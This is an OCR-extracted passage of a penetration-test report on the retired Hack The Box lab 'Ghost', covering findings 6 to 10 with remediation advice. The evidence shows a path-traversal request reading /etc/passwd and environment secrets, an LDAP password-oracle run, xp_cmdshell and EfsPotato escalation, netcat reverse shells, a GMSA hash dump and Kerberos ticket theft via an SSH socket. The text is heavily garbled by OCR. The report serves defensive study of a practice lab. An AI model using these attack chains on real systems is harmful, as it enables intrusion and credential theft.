
Affected
Component

nt service\mssqlserver — SelmpersonatePrivilege on PRIMARY.corp.ghost.htb

Review the token privileges assigned to the MSSQL service account on
PRIMARY.corp.ghost.htb. SeImpersonatePrivilege is typically required by certain
service identities but can be constrained using Windows service hardening

Remediation mechanisms. Consider running MSSQL under a virtual service account or managed
service account with a minimal privilege set. Apply Windows privilege access
management controls to flag or block tools targeting the EFS RPC interface from
non-administrative sessions.

* https://github.com/zcgonvh/EfsPotato
References * https://docs.microsoft.com/en-us/windows/security/threat-protection/security-
policy-settings/impersonate-a-client-after-authentication

Finding Evidence

Token privileges on the mssqlserver session confirmed SeImpersonatePrivilege:
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PS C:\Windows\system32> whoami /priwv
whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memery guotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled

ptifyPrivilege Bupass. traverse checking Enabled
ISEImpersanatEPrivilege Impersonate a client after authentication Enahledl
selreateGlobalPrivitege Create global objects enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\system32> |

EfsPotato was compiled with mcs, transferred, and confirmed execution as SYSTEM:

aAWi W -of1les\MSSQLSERVER\Documents> .\EfsPotato.exe whoami
.\EfsPotato.exe whoami
¥pLOIT TOF EfSPOTAtO(MS-EFSR EfsRpcEncryptFileSrv with SeImperscnatePrivilege local privalege escalation wvulperability).

Part of GMH's fuck Tools, Code By zcgonwh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pable Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc

[!] binding ok (handle=1a4b94f@)

[+] Get Token: 912

[!] process with pid: 3088 created.

|nt authurity\systeml
T\Windows\ServiceProfiles\MSSQLSERVER\Documents> [l

A SYSTEM reverse shell was caught on port 9002:

I—f joe® Archwarden )-I~/HTB_Boxes/retired/ghost/EfsPotato’

% rlwrap nc -nlvp 9882

listening on [any] 9882 ...

connect to [10.18.16.68] from (UNKNOWN) [18.129.231.165] 49796
Windows Powershell

Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS5 C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> whoami
whoami

|nt authurity\systeml
T WTndowWs\ServiceProfiles\MSSQLSERVER\Documents> ||
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6. LDAP Wildcard Injection Enables Character-by-Character
Password Extraction - High

CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query
('LDAP Injection’)

CVSS 3.1 7.5/ CVSS:3.1/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:N/A:N

CWE

The same LDAP injection vulnerability that enables authentication bypass also
functions as a character-by-character password oracle. Because the LDAP backend
accepts wildcard patterns in the password field (EEa@ matches any password
starting with [EEEg), an attacker can extract any account's password one character
at a time by iterating through the character set at each position and observing
whether the server returns a successful bind (HTTP 303) or a failure response.

Root Cause

Full password recovery for the [HiEEIEIMssilalszl domain account
(AR R ely) without any brute-force of the full password space. These

Impact credentials authenticated to the Gitea instance and exposed source code for both
the Ghost CMS content API and the intranet backend, enabling the path traversal
and command injection findings documented below.

Affected

http://intranet.ghost.htb:8008/login — LDAP wildcard password oracle
Component

Apply the same LDAP escaping fix described in the authentication bypass finding.
Proper escaping of the g character in the password field eliminates the oracle

Remediation entirely. Additionally, consider rate-limiting login attempts per IP or username to
limit the efficiency of any remaining credential testing even if the underlying
injection is not immediately remediable.

https://cheatsheetseries.owasp.org/cheatsheets/

Referen . .
IEIENCEs LDAP_Injection_Prevention_Cheat_Sheet.html

Finding Evidence

A Python script was written to exploit the wildcard oracle, threading requests to test each character at
the current position and extending the known password prefix on each successful match:
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(base) —(parallels@® kali-gnu-1linux-2023)-[~/Documents/HTB_Boxes/retired/ghost]
—$ python3 secret.py

[#] Starting LDAP wildcard brute-force ...

[+] Position 1: 's°

[+] Position 2:

[+] Position 3

[+] Position &4: 'szrr’

[+] Position 5: ‘szrrs’

[+] Position 6&6: "szrr8k’

[+] Position 7: 'szrré8kp’

[+] Position 8: 'szrr8kpc’

[+] Position 9: 'szrr8kpc3’

[+] Position 1@: 'szrr8kpc3z’

[+] Position 11: 'szrr8kpc3z6’

[+] Position 12: 'szrr8kpc3zéo'

[+] Position 13: "szrr8kpc3zéon’

[+] Position 14: ‘szrr8kpc3zéonl’

[+] Position 15: °szrr8kpc3zeonlg'

[+] Position 16: 'szrr8kpc3z6onlgf’

[!] No match at position 17. Done.

[+] Recovered password: r;ErrSkpCSZEBHIqF|

The complete password szrr8kpc3z6onlqgf was recovered for gitea_temp_principal. These credentials
authenticated to Gitea:

@  Issues  PullRequests  Milestones  Explore L +- .~

et

andra shelton pushed to main at ghost-dev/blog 3 years ago O Repository Organization
@ 292770691  Initial commit

andra shelton pushed to main at ghost-dev/blog 3years ago 20=
@8 57a6f14319  niial commit

A @ Sources Forks Mirrors Collaborative
& ghost-dev/blog

B ghost-devlintranet
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7. Path Traversal in Ghost CMS Content API Enables
Arbitrary File Read - High

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path
Traversal')

CVSS 3.1 7.5/ CVSS:3.1/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:N/A:N

The Ghost CMS content API at accepts a user-supplied GET
parameter and concatenates it directly onto the base path
before reading the file from disk with (FIEErIERtgg. No path sanitisation or
character filtering is applied. Path traversal sequences (D) escape the
base directory and allow unauthenticated read access to any file readable by the

Ghost process, including (SESAsERES) and WS IAISPA A eel).

CWE

Root Cause

Arbitrary file read from the Ghost container file system without authentication.

Reading S EIEPLNIEETel)] exposed the pRIAMIEINHMIRY ecnvironment

variable, which was used to authenticate to the intranet developer API and trigger

Impact

the OS command injection in Finding 4.

Affected http://ghost.htb:8008/ghost/api/v3/content/posts/?extra= — path traversal via
Component extra parameter

Validate and sanitise the parameter before use. Implement a strict allowlist
of permitted filenames (no path separators, no dot sequences) and resolve the
final path with before verifying it begins with the intended base

Remediation directory. If the parameter serves no production purpose, remove it entirely.
Sensitive environment variables including API keys should not be visible in
— inject them at startup from a secrets manager and clear them
from the process environment after use.

* https://portswigger.net/web-security/file-path-traversal

References * https://cwe.mitre.org/data/definitions/22.html

Finding Evidence
The path traversal was confirmed by reading /etc/passwd via the public content API key:

5 nu-lin J-[~/Documents/HTB anes/renreﬂlghnst

i//ghost .hth:8008/ghost /api/va/content/posts/Textra= . / .. / / /etc/passudtkey=asafe28828958c970azboccala”

65b0020C26067d00010704b5" , ~uuid": “22db47b3-bbF6-4260-0FcF 8873630820, "title" :"Enbarking on the Supernatural Journey: Welcome to Ghost!®,”slug”:"embarking-on-the-supernatural-journey-wel
Come-to-ghost", "html": "<p>Greetings, Fellow seekers of the unknown!</p><p>Tt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination fo
r unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexp
lained.</p><h2 id=\"why-ghost\">Why Ghost?</h2><p>The quest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with g
hests and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.</p><h2 id=\"what-to-expect\">What
to Expect</h2><p>0ur digital abode is more than just a collection of stories; it's a haven for the curious, the intrepid, and the inquisitive. Here, you'll find:<&/p><ol><li><strong>Investigative Chronicles
</strong>: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.</li>cli><strong>Tech Tuesday
s</strong>: Stay at the forefront of paranormal research with our weekly dives inte the latest ghost-hunting gadgets, software, and technigues. Knowledge is our stromgest ally in the face of the unknown.</
1i><li><strong>Spotlight Series</strong>: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated
team.</li><li><strong>Community Corner</strong>: Ghost is more than a website; it's a community. Share your own supernatural experiences, theories, and questions in our Community Cormer. Tegether, we ampli
fy the voices seeking to understand the inexplicable.</1i></ol><h2 id=\"join-us-on-this-extraordinary-expedition\">Join Us on this Extraordinary Expedition</h2><p>The journey into the paranormal is mot for
the faint of heart, but it is a journey worth taking. As we Lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our con
tent, share your thoughts, and let the spirit of exploration guide us into uncharted territories.</p><p>Ghost is not just a websitej it's a portal to the enigmatic, a gateway to the supernatural, a

tament to the boundless curiosity that defines the human spirit.</p><p>Welcome to our realm. Let the haunting begin!</p><p>Happy ghost hunting,</p><p>The Ghost Team/p>”,*comment_id":*639cdeecocd
fbf*,"feature_image®:null,"featured”:true, "visibility":"public”, "created at":"2024-01-09T05:51:40.000+00:00" , "updated at":"2024-01-09T05:52:59.000+00:00", "published at”:"2024-01-09T05:52:29.000+0
tom_excerpt”:null, “codeinjection_head" :null, cndejn]ectmnjnnt':nuLL,'custom,temnlate':null,'cannnical,url':null.'url":'nttn://glmst.nth/emnarkingfnnftnefsuDernaturalfjnurneyfwelcnmeftmgl\nst/'.'Excerpt':
“Greetings, fellow seekers of the unknown!\n\nIt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries t
hat lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the snaduwy (nrrjdurs of the unexplajned.\n\n\nwhy Ghost7\n\nT
he quest to understand the supernatural has been etched into the fabric of human history. From anc”,reading_time®:1,"access":true,"comments" :false, "og_image”:null, "og_title”:null,"og_description”:null, "tw
itter image®inull.’twitter title’inull.”twitter descrintion®:npull.’meta titleinull.'meta descrintion”: nu'L'L Temail subiect’:null.” frentnatter”inull."feature inage ali”inull.”feature inage caption”:nullil.”
meta :{"pagination”:{"page 1, limit":15, pages" i1, total":1, next :null, "prev-:null}, extra":{" f it ot f n/ .. /etc/passwd”:"root:x:0:0:root:/root: /bin/ash\nbin:x:1:1:bin:/bin: /sbin/nologin\ndaemon
daemon: /sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm: /sbin/nologin\nlp:x:4:7:1p: /var/spnaulpd /sbin/nologin\nsync:x:5:8:sync: /sb)n /bin/sync\nshutdown:x:6:8:shutdown: /sbin:/sbin/shutdown\nhalt:x:7:0:
nau /sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:1@:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:@:operator:/root:/sbin/no
login\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12: postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21:: /var/lib/Ftp:/sbin/nologin\nssh 2 u
sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spoel/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid: /var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:
<:/usr/games: /sbin/nologin\ncyrus:x:85:12 31 /ust/cyrus: /sbin/nologin\nvpopmail:x:89:89 5t /var/vpopmail: /sbin/nologin\nntp:x: 1231123 iNTR: /var/empty:/sbin/nologin\nsmmsp: x:209: 209 smmsp: /var/spool /nquese /smn
/nologin\nguest:x:405:100:guest: /dev/null:/sbin/nologin\nnobody: x:65534: 65534 :nobody:/:/sbin/nologin\nnode:x:100@:10008:Linux User,,,:/home/node:/bin/sh\n"}}}

Reading /proc/self/environ exposed the DEV_INTRANET_KEY environment variable required to access
the intranet developer API:
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(base) (parallels® kali-gnu-1inux-2023)-[~/Documents/HTB_Boxes/retired/ghost]
curl “http://ghost.htb:8088/ghost/api/v3/content/posts/?extra=../ ../ ../ ../ ../ ../ ../ .. /proc/self/environEkey=a5af628828958c976a3b6cca8la”
{"posts":[{"1id":"65bdd2dc26db7d00010704b5" , "uuid™ : "22db47b3-bbf6-426d-9fcf-887363df82cf", "title”: "Embarking on the Supernatural Journey: Welcome to Ghost!","slug":"embarking-on-the-supernatural-journey-wel
come—to-ghost™, “html":"<psGreetings, fellow seekers of the unknown!</ps<p>Tt is with grest excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination fo
r unraveling the mysteries that lie beyond the veil of the ordinary. As we embark om this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexp
lained.</p><h2 id=\"why-ghost\">Why Ghost?</h2><p>The guest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with g
hosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.</p><h2 id=\"what-to-expect)">What
to Expect</h2><p>Our digital abode is more than just a collection of stories; it's a haven for the curious, the intrepid, and the inquisitive. Here, you'll find:</p><ol><li>cstrong>Investigative Chronicles
</strong>: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.</li><lir<strong>Tech Tuesday
s</strong>: Stay at the forefront of paranormal research with our weekly dives into the latest ghost-hunting gadgets, software, and techniques. Knowledge is our strongest ally in the face of the unknown.</
1i><li><strong>Spotlight Series</strong>: Get te know the passionate individuals behind the investigations. our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated
team.</li><li><strong>Community Corner</strong>: Ghost is more than a website; it's a community. Share your own supernatural experiences, theories, and questions in our Community Corner. Together, we ampli
fy the voices seeking to understand the inexplicable.</1i>¢/ol><h2 id=\"join-us-on-this-extraordinary-expedition\">Join Us on this Extraordinary Expedition</h2>cp>The journey into the paranormal is not for
the faint of heart, but it is a journey worth taking. As we Lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our con
tent, share your thoughts, and let the spirit of exploration guide us into uncharted territories.</p><p>Ghost is not just a website; it's a portal to the enigmatic, a gateway to the supernatural, and a tes
tament to the boundless curiosity that defines the human spirit.</p><p>Welcome to our realm. Let the haunting begin!</p><p>Happy ghost hunting,</p><p>The Ghost Team</p>","comment id":"659cdeecocd6330001bae
fbf",“feature_image”:null,"featured”:true, visibility”:"public”,"created at”:"2024-01-09T@5:51:40.000+00:00" ,"updated "2024-01-09T05:52:59.000+00:00" , "published_at” :"2024-01-09T05:52:29.000+00:00" " cus
tom_excerpt”:null,"codeinjection_head”:null,"codeinjection_foot" :null,"custom_template® :null,"canonical_url®:null,"url®:"http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/", "excerpt”:
“Greetings, fellow seekers of the unknown!\m\nIt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries t
hat lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.\n\n\nWhy Ghost?\n\nT
he quest to understand the supernatural has been etched into the fabric of human history. From anc”,”reading_time”:1,"access”:true,"comments®:false,”og_image”:null,”eg title”:null,"og_description”:null,”tw
itter image”:null,”twitter title”:null, twitter description”:null, meta title”:null, meta description”:null, email subject’:null,”frontmatter”:null, feature image alt”:null,"feature image caption”:null}],”
i{"pagination”: {"page": “next”:null, "prev” 3 .. /proc/self/environ” : "HOSTNAME=262e7990 f3dd\u000dat abase__debug=False\udooOYARN_VERSIO
N=1.22.19\ ‘ghost\u@eeoNODE ENV-producUun\\l Edatabaseicunnec(iuniﬁ'Lename:content/data/ghust.db\uu HOME=/home/node\ue@@edatabase_ client=sqlite3\u@eeourl=htip://ghost.htb\u0@eeDev_IN
TRANET_KEY=!@yqr!X2kxmQ.@Xeu@@00database_ useNullAsDefault=true\uB00OGHOST CONTENT=/var/lib/ghost/content\uB00@SHLVL=0\u@00OGHOST CLT VERSION=1.25.3\u0@@OGHOST_INSTALL=/var/lib/ghost\u@@@OPATH=/usr/local/
oC

sbin:/usr/ TRT/UST/E01n: /usr/bin: /sbin:/bin\u@@@ONODE_VERSION=18.19.0\ud@0OGHOST_VERSION=5.78
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8. MSSQL Linked Server Permits Remote Code Execution via
xp_cmdshell on corp.ghost.htb - High

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
('SQL Injection’)

CVSS 3.1 7.2 [/ CVSS:3.1/AV:N/AC:L/PR:H/UIL:N/S:U/C:H/T:H/A:H

CWE

The Ghost Core admin panel exposes an MSSQL query interface connected to the
local SQL Server instance on DCO1.ghost.htb. A linked server named in the

T agg domain is configured with EYalel dataaccess: truel

enabling remote query execution via (E{SSINERS. By impersonating the @ login

via and enabling (RGEHISE through (FRERERNEe. arbitrary OS

commands were executed on the PRIMARY server as [/ a=AV FE{ef RS aVLy.

Remote code execution on (RIS R Ml as the MSSQL service account.
Impact A reverse shell was obtained, providing an interactive foothold on the corp domain
for privilege escalation.

Affected PRIMARY linked server — corp.ghost.htb MSSQL; xp_cmdshell enabled via
Component EXEC...AT

Root Cause

Disable xp_cmdshell on all MSSQL instances unless explicitly required for a
documented operational purpose. Review all linked server configurations and
restrict to the minimum required permissions — most linked server use cases do
not require or the ability to enable xp_cmdshell. Remove sa-level
impersonation rights from linked server queries. Restrict access to the Ghost Core
SQL query interface to explicitly authorised administrators.

Remediation

https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssq|l-
microsoft-sql-server

References

Finding Evidence

Querying sysservers revealed the PRIMARY linked server with rpcout enabled:
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"recordset":

{

"srvid": @,
"srvstatus": 1089,
"srvname": "DCO1",

"srvproduct": "SQL Server",
"providername": "SQLOLEDB",
"datasource": "DCe1",

"location": null,
"providerstring": null,

"schemadate": "2024-082-02T20:18:34.94p02",
"topologyx": O,

"topologyy": O,

"catalog": null,

"srvcollation": null,

"connecttimeout": 0,

"guerytimeout": @,
"srvnetname": "DCO1
"isremote": true,
"rpc": true,
"pub": false,
"sub": false,
"dist": false,
"dpub": false,
"rpcout": true,
"dataaccess": false,
"collationcompatible": false,
"system": false,
"useremotecollation": true,
"lazyschemavalidation": false,
"collation": null,
"nonsqglsub": false

"srvid": 1,
"srvstatus": 1249,
"srvname": "PRIMARY",
"srvproduct": "SQL Server",
"providername": "SQLOLEDB",
"datasource": "PRIMARY",
"location": null,




A ARCHWARDEN

xp_cmdshell was enabled and executed on PRIMARY via a chained EXEC...AT statement with sa
impersonation, confirming command execution:
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Ghost Config Panel

Database Debug

Currently configured databases:
+« MSSQL (domain: ghost.htb)

» MSSQL (domain: corp.ghost.htb)

The databases are correctly linked.

Query Debugger
(Only supported for the main database - sorry!)

SQL: Execute

Output:

"recordsets": [

[

"output": "PRIMARY"

e
{

"output": null

1,

"recordset": [

{
"output": "PRIMARY"
}

{
"output": null

1

"putput": {3},

"rowsAffected": [
2
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nc64.exe was transferred and a reverse shell obtained as nt service\mssqlserver:

r—{Joe® Archwarden)-[~/HTB_Boxes/retired/ghost]
% rlwrap nc -nlvp 9881
listening on [any] 9861

connect to [10.18.16.60] from (UNKNOWN) [1@.129.231.185] 49832
Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserwved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system3Z> whoami

1
|nt SEruiCE\mSSqlserverI
T\Windows\system32> ]
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9. ReadGMSAPassword Rights Enable ADFS Service Account
Credential Recovery - Medium

CWE CWE-284 - Improper Access Control
CVSS 3.1 6.5/ CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N

The domain account holds ReadGMSAPassword rights over the &
Group Managed Service Account. GMSA passwords are stored in Active
Directory and can be retrieved by any account with this right. NXC queried the
GMSA password blob from LDAP and returned the NT hash for CRIEIeLEEY. The
account is the service identity for Active Directory Federation Services, providing
access to the ADFS key material used in the Golden SAML attack.

Root Cause

Full credential access to CRIEIRLEER), the ADFS service account. This enabled Evil-
WinRM authentication via pass-the-hash and upload of ADFSDump to extract the
ADFS token signing certificate and DKM key, ultimately enabling arbitrary SAML

Impact

token forgery as documented in Finding 8.

Affected

justin.bradley — ReadGMSAPassword over adfs_gmsa$ in Active Directory
Component

Remove the ReadGMSAPassword right from justin.bradley over adfs_gmsa$. GMSA
passwords should only be readable by the specific service accounts or computer
accounts that require the password to run the service. Conduct a full audit of
GMSA delegations using Get-ADServiceAccount with the
PrincipalsAllowedToRetrieveManagedPassword attribute and restrict access to the
minimum required principals.

Remediation

https://bloodhound.readthedocs.io/en/latest/data-analysis/

Refi
eferences edges.html#readgmsapassword

Finding Evidence
BloodHound identified the ReadGMSAPassword edge from justin.bradley to adfs_gmsa$:

NXC retrieved the GMSA password hash:

(base) — s 1 }-[~/Documents/HTB_Boxes/retired/ghost
% nxc 1dap ghost.htb -u justin.bradley -p 'Quertyuiopl234$$' —gmsa

10.129.231.105 389 pcel *] Windows Server 2022 Build 20348 (name:DC@1) (domain:ghost.htb) ( ) (channel binding:Never)

10.129.231.105 389 Dcal [+] ghost.htb\justin.bradley:Qwertyuiop1234$$

10.129.231.105 389 DCol Getting GMSA _Passwords

16.129.231.105 389 pcel Account:| adfs_gmsa$ NTLM: | 16b9766667b1e9f8d4c315a11707¢497 PrincipalsAllowedToReadPassword: ['DCe1$', 'justin.bradley']
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10. Active SSH ControlMaster Socket in Docker Container
Enables Session Hijacking and Kerberos Ticket Theft -
Medium

CWE CWE-287 - Improper Authentication
CVSS 3.1 6.0 / CVSS:3.1/AV:L/AC:L/PR:H/UL:N/S:C/C:H/I:N/A:N

A live SSH ControlMaster socket for gikesila b lnsscpAce|sleEyaMsgds] \Was present in
inside the Docker container. SSH ControlMaster

multiplexes multiple sessions over a single authenticated connection via a Unix
Root Cause domain socket. Any process with access to the socket can issue SSH commands as
the authenticated user — in this case — without providing
credentials. The socket provided command execution on in
florence's context, enabling extraction of her Kerberos TGT from ([l L EIaaR1).

Theft of florence.ramirez's Kerberos TGT, usable for any Kerberos-aware operation

R on the ghost.htb domain. The TGT was used to inject a malicious ADIDNS record

pointing (R4l Ml at the attacker, enabling the NTLM credential
capture in Finding 6.

Affected /root/.ssh/ControlMaster/florence.ramirez@ghost.htb@dev-workstation:22 — live
Component ControlMaster socket in container

Do not store live SSH ControlMaster sockets in service container home directories.
Review SSH configuration on all Docker containers and workstations to identify
and remove any SSH multiplexing configurations that persist authenticated

Remediation sessions. Automated or service SSH connections should use purpose-built SSH
keys with minimal privilege and time-limited validity rather than session
multiplexing. If ControlMaster is used operationally, restrict socket access to the
specific user that owns the session using filesystem permissions.

References https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing

Finding Evidence

Enumerating the Docker container root home directory revealed the ControlMaster socket for
florence.ramirez:

Joe Thompson Ghost 59


https://cwe.mitre.org/data/definitions/287
https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing

ARCHWARDEN

root@26b733906694:~/ .s5h# 1s -la
1s -1a
total 32

drwxr-xr-x 1 root root 4096 Jul 5 2024 .
drwx 1 roeot root 4096 Jul 5 2024 ..
-rw-T—r— 1 root root 92 Jun
drwxr-xr-x 1 root root 4896 Jun
-TW 1 root roet 978 Jul

-TwWw-r—r— 1 root root 142 Jul 5 2024 known_hosts.old
rootd36b7330906694:~/ . ssh# cd controlmaster

cd comtrolmaster

root@36b733906694:~/ . ssh/controlmasterf 1s -la

1s -la

total 12

drwxr-xr-x 1 root root 496 Jun 12 13:55 .

drwxr-xr-x 1 root root 4896 Jul 5 2824
sTw———— 1 root root @ Jun 12 13:55|florence.ramirezighost.htbildev-workstation:22
root@36b733906694:~/.ssh/controlmasters

Her Kerberos TGT was extracted by tunnelling a cat command through the existing authenticated
session:

Toot@36b733906694:~/.ssh/controlmasters ssh ﬂnren(e ramirezalighost.htb@dev-workstation “cat /tmp/krb5cc_5@ | base64 -w @; echo”
<orkstation "cat /tmp/krbScc base64 -
BQQADAABAA, AAAMAMAMAMAEAAMBAAMCUdITlNULkhUQgAMBBthQyZWS]Z55lep(mVEAAMAQAAMEAAMJlBhPUlQuSFRCAAMEGZSI:BJIthT.'LnthWIyZXuAAMBAAMAwAAMxYLUNBQIhFQBQOR]uAMAVaRJ)MVQJVZF]aGVFYZGnZngYXRhMMB3BhX3
RSCGUAAAAGa3]1dGdOLOAITINULKhUQKBHSESTVCSIVEL, B. UdITINULKhUQEAAABBMDGOY ZW5 SZS5YYW1pCmVEAAAAAGAAAATAAAA RGN PUIQUS FRCAAAABM LY YNRNAAAAAATH
SE9TVCSIVEIAEgAAACALO3uPYSgpAACxIewfclCn9BUA+Z6KGOKL Fadc FbY JemosKm1qLCptaiy3DWote+BAAOEAAAAAAAAAAAAAAAAEGMGCBOYwgE T 10 AMCAQWhC xS JROhPU1QuS FRCoh 4wHKADAGE CoRUWE xsGa3J1idGdoGwW1 HSETVCSIVEK jggSsMITEqKADAZESoQMCAQ
KiggSaBITELoinTQOCNSaVYoU03GeibhX0Xr j10qAi6f3di9smg+cQeyWdqlu26CgL FpUQTKZA00FrTp/71DQOTI5ymkrPELpGopS1kUBXwdfTIsYbLqewSRzTOX vX760GHzr F51pDsD5KAABHA 2RVV+RUG IrLrSaIRiYnu562suXX9+701uY8BYQpipAUTE TmLmXL BAOBKL.
3XZ/FVDOXNClg50rp9CT76/T2fdvLHSagDWO34YX/ 1/wxDsWtn@4rgUCHe]/N2DgXDoZ 0Wey F/OMIT 3qs 4SELVUCDhpD1pLIZMHIO+KTOPL chtqEKBZUYWAWX COBI+6hox0xCM2ekQ+HF iM5D1amAL 6 14 I3uvz2M0gHd CBONCA2q1 8Q9ESZ FHS 6 FA+ 16gGChWNARY CGIibx
UriMXTcl52/sVo7d8+1bhB61r]iakRA1dadAPxCa JCNXThHWF1002Bbds 22V 54 F IYwG88I9elic FRKCN]/bF5b75hEDD JRS1Z5mSewTAGSS SLMPE FLnvp6mIH1ciQbY/AMIabyQot9cI40S1QTy FKFYIFpHFtZ53 qu2pluimOKjuBIHBOG I YZd FhkX4ZeZny2Q8 LWZPgPtTt
wuk7A+2TeOKQHBTZFOnPIs77mEKKB+ 1 fdg/CybPpaPrihic3a0B+Bqja22Uxk]l rVOUMZPEBASLYsKF2 1993 Fp07x7m+MV/moCO2ETVxpZSToHOyGDYSORA7 TbpRzIVHY JWT4F CPT tVdTeZGSQUASDA I7k 72IW1AQe5 IbIX0 tNpud0cqtGGgclDFdf CvOToyHKnvoOBmIOE zNH
yHV8SCsoTjqtotkTW6LyxYk8gn2 FOQRADLrb6ga Lk IEHST6X1PEOHDLGZL12gS3201FEKASMHUTLxXx0q9PeVSQ] YWRZ IM1LODAWPQPHGT jo02AkG2D7 jGpOGDZ 1gxXx5 IW01SSRIvMS0fu/glaCsok33RShEAHZL5F1cI1DIScdZYxwzy twl dT2Ug7 /+XVYMLwl9XL30udVXfj
nBImrInSCAPVAUHA 4eWVS3 bSHEDTKX24BT JDncymL+ptTKeF3wuXiZ5qzIvS jujzN6Lx1B6Z7HF4AIC/ LU+LBOFtDiUKy FIXMKiGIWINKt01ueKz rVn wYMigicAXHM3QMEY ZKRNUTPEQ +e2DnR+08U+E jdcY4CYITuH7+3+0X1qca5 tyAeKGVSRWiAKSA
M 28HyZXYDKY3QDqApO INFIBSbr 8094 7ERU2 9K LuHrZTyY i0MAZUXPGA69 CoaWOGAE QT 1VNESNVK+QVIKBBo+ NiHL +NoOGLYXATFBPT/1SCOEBTAIn W+Y1bvuF0234rCREAVCa676ZnHd j edNyKrNHHgAY |gGGAN/A7QKSF5e/HZnL LubBnE/nTBeuqZS7KxUECQ Inm
UGWrRgqSUHACRFPZTXK3dz8kYh/Pf231SNA4F zZLBNO+rma6rdZ6k FRHM1UTN2woy8uxkNx TMNHk5SBe1m7RA4TGO6gk T znhpoNs fR1fGWMvmb /X2Q1VQX JOKNKd +SCMGL SesWgMUAAAAA
7339UEEYE T~/ . SN/ CONTIOTNASTery

(base) ﬁ(puiallels--\lnah gnu-linux-2023)-[~/Documents/HTB_Boxes/retired/ghost]

L$ echo 'BOS UdITINULKhU W5 3255y YWl pcy (QAAAAEAAAATRBHPUIQUSFRCAAAAEGZsh3 T1bmN1 LnJhbiWlyZXoAAAABAAAAAWAAAAXYLUNBQBHFQBI0R] 0AAAAVa3 NV jY2FjaGVFY29uZ1 SkYXRh
AMABBBhX!RS(GUAMAaaDldﬁdBLBdI?lNuU«h\ k CSTVET UdTTANULKhU W53 ZS5y YW1 pemVEAAAAAGAARATAAAATRBhPULQuSFRCAAAABME yYn
RndAAAAALHSESTVCSIVEIAEGAAACALO3UPYS gpAACKSew FLCn9BUA+Z6kGEKL FadcFbY JemosKmlqLCptaiy3Diiote -BAADEAAAAAARAAAAAAAAAEGTGCBOYWEET 10AMCAQHNCx s JRANPU1QUSFRCOh4WHKADAGECORUWEXSGa3 ] 1dGdoGWHSETVCSTVEK jggSsMITEGKAD
AgESoQMCAQKiggSaBITEL0inIQOCNSaVYoU03Gei4hXOXr ) Fi0gAi6 jF3digsmg+cQeyWdQ1n26CgL FpUQTKZAO0F rTp/ 71DQRTSymkrPE tpGopS1klUBXwd fTIsYbLqewSRzT0xvX760GH2r FS1pDsDSKAASHA2RVV+RUG IrLrSaTRiYnu56z suXX9+701uY8BYQpipAUT6Tm
1mXLBAOBKL3IXZ/FVDOXnClg50rpgcT76/ rzfdvL HSagDWO34YX/ 1/ wxDsWtnos4rgliCHe 1/NzDgXDoZ0WlevF/OMIT3gs4SELVUCDhpD1pL 3ZMHIO-KTOPL cht gEKBZuYWAWxXCOBT +6hoxOxCM2ek(+HF iM5D1amAL6 1 4T3 uvz2MogHdcBONCd 21 Bq9ESZFHS 6t FA+16gGCqhh
